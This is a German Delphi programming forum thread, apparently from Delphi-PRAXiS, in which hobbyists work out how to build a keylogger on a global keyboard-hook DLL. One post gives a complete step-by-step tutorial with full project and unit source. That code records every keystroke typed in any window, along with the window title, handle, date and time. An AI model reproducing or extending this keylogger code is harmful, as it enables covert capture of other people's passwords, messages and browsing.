![]() |
Re: KeyLogger
Danke erst einmal für deine Antwort. Aber ich bin (leider) praktisch nur das Programmieren in Units gewohnt. Dennoch hab ich mal mein Bestes versucht und die (meiner Meinung nach) wichtigen Teile aus Luckie's Projekt in meins gestopft.
Wie schaffe ich es jetzt aber, dass die Sachen auch in meiner Unit1 im Memo-Feld erscheinen? Soll ich dafür einen Timer bauen, der ständig irgendwie die Windows Message WM_KEYBOARD_HOOK abfragt? Oder geht das eleganter? Zitat:
Mein Projekt-Quellcode (der viel von Luckie enthält) sieht bis jetzt jedenfalls so aus:
Delphi-Quellcode:
Sorry für die vielen dummen Fragen, aber ich programmiere noch nicht sehr lange und hab daher z.T. Probleme manche überaus komplexen Prozeduren etc zu verstehen :oops:
program Project2;
uses Forms, Unit1 in 'Unit1.pas' {Form1}, windows, messages; const WM_KEYBOARD_HOOK = WM_USER + 52012; IDC_EDTLOGGER = 102; var WndTitleOld: string = ''; function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall; external 'KBHook.dll'; function DeleteHook: Boolean; stdcall; external 'KBHook.dll'; {$R *.res} function dlgfunc(hDlg: hWnd; uMsg: dword; wParam: wParam; lParam: lParam): bool; stdcall; var MyFont: HFONT; s: string; TextLength: Integer; Buffer: PChar; EditText: string; WndTitle: array[0..255] of Char; begin result := true; case uMsg of WM_KEYBOARD_HOOK: begin TextLength := SendDlgItemMessage(hDlg, IDC_EDTLOGGER, WM_GETTEXTLENGTH, 0, 0); GetMem(Buffer, TextLength + 2); try SendDlgItemMessage(hDlg, IDC_EDTLOGGER, WM_GETTEXT, TextLength + 2, Integer(Buffer)); case wParam of VK_RETURN: EditText := string(Buffer) + #13#10; VK_BACK: begin EditText := string(Buffer); Delete(EditText, length(EditText), 1); end; VK_CONTROL, VK_MENU, VK_SHIFT, VK_CAPITAL: EditText := string(Buffer); else EditText := string(Buffer) + string(Chr(wParam)); end; GetWindowText(lParam, @WndTitle, SizeOf(WndTitle)); if WndTitleOld <> string(WndTitle) then begin Delete(EditText, length(EditText), 1); EditText := EditText + #13#10 + '[' + string(WndTitle) + ']' + #13#10 + string(Chr(wParam)); WndTitleOld := string(WndTitle); end; SendDlgItemMessage(hDlg, IDC_EDTLOGGER, WM_SETTEXT, 0, Integer(@EditText[1])); finally FreeMem(Buffer); end; end; else result := false; end; end; begin CreateHook(Application.Handle,true); Application.Initialize; Application.CreateForm(TForm1, Form1); Application.Run; DeleteHook; end. Aber ich bemühe mich zumindest, alles so gut es geht zu verstehen :mrgreen: Danke! :bounce2: |
Re: KeyLogger
Hab da auch mal ne frage:
hab das so gemacht:
Delphi-Quellcode:
da kommt dann so was bei raus:
procedure Tltblform043.ApplicationEvents1Message(var Msg: tagMSG;
var Handled: Boolean); begin Memo1.Text := Memo1.Text + Chr(Msg.wParam); end;
Code:
wobei ich testhalber A geschrieben habe (am anfang)
˙˙˙˙˙˙˙˙˙˙Hh˙H˙˙AaA˙LlLLlL˙OoO˙˙˙˙˙˙ ˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙DdD˙UuU˙˙˙˙˙˙ UuU˙˙UuU˙˙UuU˙˙UuUUu˙U˙˙˙˙˙ ˙˙˙ ˙˙ ˙˙
das gibt dann Aa als result! funzt wohl so net ganz? [edit=sakura]Zeilenumbrüche zugelassen! Mfg, sakura[/edit] |
Re: KeyLogger
Hab das jetzt auch mal mit der WM probiert und genau das erlebt, was auch Meflin hatte. :wall:
Dass das aber kein Fehler der DLL sein kann, das zeigt ja wohl schon Luckie's Prog. Denn da geht es ja schließlich . :? Vielleicht kann Luckie uns da mal den entscheidenden Tipp geben, was wir falsch machen?! :gruebel: Und was bringt mir eigentlich der lParam? :roll: Der ändert sich doch auch 10mal in der Sekunde. MfG. Ergänzung: Ich hab gerade festgestellt, dass bei dem benannten Fall keinen Unterschied macht, ob ich nun die Konstante
Delphi-Quellcode:
deklariere oder nicht. Ich vermute deshalb, dass Meflin und ich den Fehler machen, dass wir einfach alle WindowMessages abfragen und nicht nur die Message WM_KEYBOARD_HOOK. Sehe ich das richtig?
const
WM_KEYBOARD_HOOK = WM_USER + 52012; Was muss ich machen, um nur diese Message zu erhalten? THX. |
Re: KeyLogger
was soll ich da groß sagen? jedes mal wenn eine taste gedrückt wurde schickt die dll an das fenster welches den hook installiert hat ein WM_KEYBOARD_HOOK (was WM_USER + 52012 entspricht). im wparam steht das zeichen und im lparam das handle von dem fenster welches gerade den eingabe focus hat.
du mußt jetzt nur noch deine wndproc überschreiben und zusätzlich WM_KEYBOARD_HOOK abfangen. |
Re: KeyLogger
die frage ist doch wie man die
keyboard_hook Message abfängt oder? |
Re: KeyLogger
Nein. Im Moment geht e darum, dass sie es nicht gebacken bekommen die DLL zu nutzen.
|
Re: KeyLogger
auch wenns vielleicht nich die frage ist,
aber ich würd trotzdem gerne wissen, wie ich an die message bessergesagt an den inhalt der message komme! *MFG* |
Re: KeyLogger
@ Meflin:
Nimm mir das bitte nicht über, aber wir sind soooooo doooof! :wall: Wir arbeiten schon mit dem ApplicationEvent-Manager und wundern uns nur, dass wir neben dem, was wir eigentlich kriegen wollen, auch noch jede Menge Müll kriegen! Aber das Richtige ist doch auch dabei! @ Luckie: Warum redest du die ganze Zeit davon, dass wir die WndProc abfangen sollen? Warum so kompliziert? Eine einfache Erweiterung von Meflin's Prozedur tut's auch:
Delphi-Quellcode:
So, jetzt einmal eine genaue Anleitung für alle, die noch nicht wissen, was sie machen sollen:
procedure TForm1.ApplicationEvents1Message(var Msg: tagMSG;
var Handled: Boolean); begin Case Msg.message of WM_KEYBOARD_HOOK : memo1.Text := memo1.Text + Char(Msg.wParam); end; end; Erstellt euch zunächst eine einfache Anwendung mit einem Unit. Auf dem Formular erstellt ihr anschließend ein Memo-Feld mit dem Namen Memo1. Geht der Eigenschaft Scrollbars den Wert ssVertical und achtet darauf, dass die Eigenschaft WordWrap auf True gesetzt ist. Nun beginnt der Teil, der letztendlich die Keys in das Memo-Feld befördert: Speichert das Projekt in einem Ordner und kopiert die Dateu KBHook.dll (welche in Luckie's Source enthalten ist) mit in diesen Ordner. In Delphi folgen ein paar Klicks auf "Projekt" und "Quelltext anzeigen". Im jetzt angezeigten Programmquelltext müssen verschiedene Zeilen hinzugefügt werden: Zu "uses" muss windows und messages hinzugefügt werden. Außerdem müssen darunter zwei Funktionen, die den Hook installieren und deinstallieren, deklariert werden:
Delphi-Quellcode:
Zur Installation und Deinstallation wird jetzt direkt unter begin die Zeile
function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall; external 'KBHook.dll';
function DeleteHook: Boolean; stdcall; external 'KBHook.dll'; CreateHook(Application.Handle,true); und über end die Zeile DeleteHook; eingefügt. Der fertige Code sieht dann etwa so aus (die Kommentare kennzeichnen die Teile, die für den eigentlichen Hook wichtig sind):
Delphi-Quellcode:
Nun zur Unit:
program Project2;
uses Forms, Unit1 in 'Unit1.pas' {Form1}, {Begin KeyHook}windows, messages{End KeyHook}; // Begin KeyHook function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall; external 'KBHook.dll'; function DeleteHook: Boolean; stdcall; external 'KBHook.dll'; // End KeyHook {$R *.res} begin CreateHook(Application.Handle,true); Application.Initialize; Application.CreateForm(TForm1, Form1); Application.Run; DeleteHook; end. Zuerst einmal muss aus der Registerkarte "Zusätzlich" die Komponente "ApplicationEvents" hinzugefügt werden. Erstellt die Prozedur für das "OnMessage"-Ereignis und fügt folgenden Code hinzu:
Delphi-Quellcode:
Dieser Code fügt jetzt einfach die Eingaben dem Memo-Feld hinzu.
Case Msg.message of
WM_KEYBOARD_HOOK : memo1.Text := memo1.Text + Char(Msg.wParam); end; Da das natürlich noch nicht sehr viele Infos birgt, sollte man einen etwas reichhaltigeren Code verwenden: Zunächst müssen zwei normale Variablen deklariert werden:
Delphi-Quellcode:
Anschließend bekommt dann die OnMessage-Prozedur folgenden Code:
Fenster_alt : longword;
Fenster_altstr : string;
Delphi-Quellcode:
Und das war es auch schon. Jetzt werden zusätzlich noch der Fenstertext, das Handle, das Datum und die Uhrzeit geloggt.
procedure TForm1.ApplicationEvents1Message(var Msg: tagMSG;
var Handled: Boolean); var FensterText : array[0..255] of Char; rem : string; begin Case Msg.message of WM_KEYBOARD_HOOK : begin GetWindowText(Msg.lParam,@FensterText,SizeOf(FensterText)); If Fenster_alt <> Msg.lParam then begin If Fenster_alt = 0 then memo1.Text := memo1.Text +'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10 else memo1.Text := memo1.Text + #13#10#13#10+'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10; Fenster_alt := Msg.lParam; Fenster_altstr := FensterText; end else If Fenster_altstr <> Fenstertext then begin If Fenster_alt = 0 then memo1.Text := memo1.Text +'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10 else memo1.Text := memo1.Text + #13#10#13#10+'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10; Fenster_alt := Msg.lParam; Fenster_altstr := Fenstertext; end; If Msg.wParam = VK_RETURN then memo1.Text := memo1.Text + #13#10 else If Msg.wParam = VK_BACK then begin rem := memo1.text; If length(rem) > 0 then delete(rem,length(rem)-1,1); memo1.Text := rem; end else memo1.Text := memo1.Text + Char(Msg.wParam); end; end; end; Diese Infos werden immer dann "aufgeschrieben", wenn sich entweder der Fenstertext ändert (zum Beipiel beim Browsen im Web) oder das Handle (neues Fenster, evtl. sogar mit gleichem Text). Es ist also wichtig, dass sowohl Handle als auch Text geloggt werden, da sich oft nur eines ändert, es dennoch aber wichtig ist, wenn sich z.B. die Website ändert oder das Fenster ein anderes ist, das vielleicht aber zufällig die gleiche Website beinhaltet! Hier noch der fertige Code der Unit:
Delphi-Quellcode:
Ich weiß, dass diese Anleitung vielleicht etwas sehr genau war, aber ich selbst hab mich schon oft über halbe Anleitungen geärgert.
unit Unit1;
interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, AppEvnts; type TForm1 = class(TForm) Memo1: TMemo; ApplicationEvents1: TApplicationEvents; procedure ApplicationEvents1Message(var Msg: tagMSG; var Handled: Boolean); private // Begin KeyHook Fenster_alt : longword; Fenster_altstr : string; // End KeyHook { Private-Deklarationen } public { Public-Deklarationen } end; var Form1: TForm1; // Begin KeyHook const WM_KEYBOARD_HOOK = WM_USER + 52012; // End KeyHook implementation {$R *.dfm} // Begin KeyHook procedure TForm1.ApplicationEvents1Message(var Msg: tagMSG; var Handled: Boolean); var FensterText : array[0..255] of Char; rem : string; begin Case Msg.message of WM_KEYBOARD_HOOK : begin GetWindowText(Msg.lParam,@FensterText,SizeOf(FensterText)); If Fenster_alt <> Msg.lParam then begin If Fenster_alt = 0 then memo1.Text := memo1.Text +'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10 else memo1.Text := memo1.Text + #13#10#13#10+'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10; Fenster_alt := Msg.lParam; Fenster_altstr := FensterText; end else If Fenster_altstr <> Fenstertext then begin If Fenster_alt = 0 then memo1.Text := memo1.Text +'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10 else memo1.Text := memo1.Text + #13#10#13#10+'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10; Fenster_alt := Msg.lParam; Fenster_altstr := Fenstertext; end; If Msg.wParam = VK_RETURN then memo1.Text := memo1.Text + #13#10 else If Msg.wParam = VK_BACK then begin rem := memo1.text; If length(rem) > 0 then delete(rem,length(rem)-1,1); memo1.Text := rem; end else memo1.Text := memo1.Text + Char(Msg.wParam); end; end; end; // End KeyHook end. Deshalb kann ich nur sagen: Wer die Anleitung zu genau findet, der muss sie ja nicht lesen! Allen anderen wünsche ich viel Spaß. Und noch etwas: Es gibt sicherlich viel zu verbessern... :coder: MfG. :mrgreen: |
Re: KeyLogger
Zitat:
|
Re: KeyLogger
Eben, Luckie meinte nur "Message abfangen"... und der Methoden gibt es viele. Welche ihr benutzen wollt, steht Euch offen.
|
Alle Zeitangaben in WEZ +1. Es ist jetzt 04:09 Uhr. |
Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024-2025 by Thomas Breitkreuz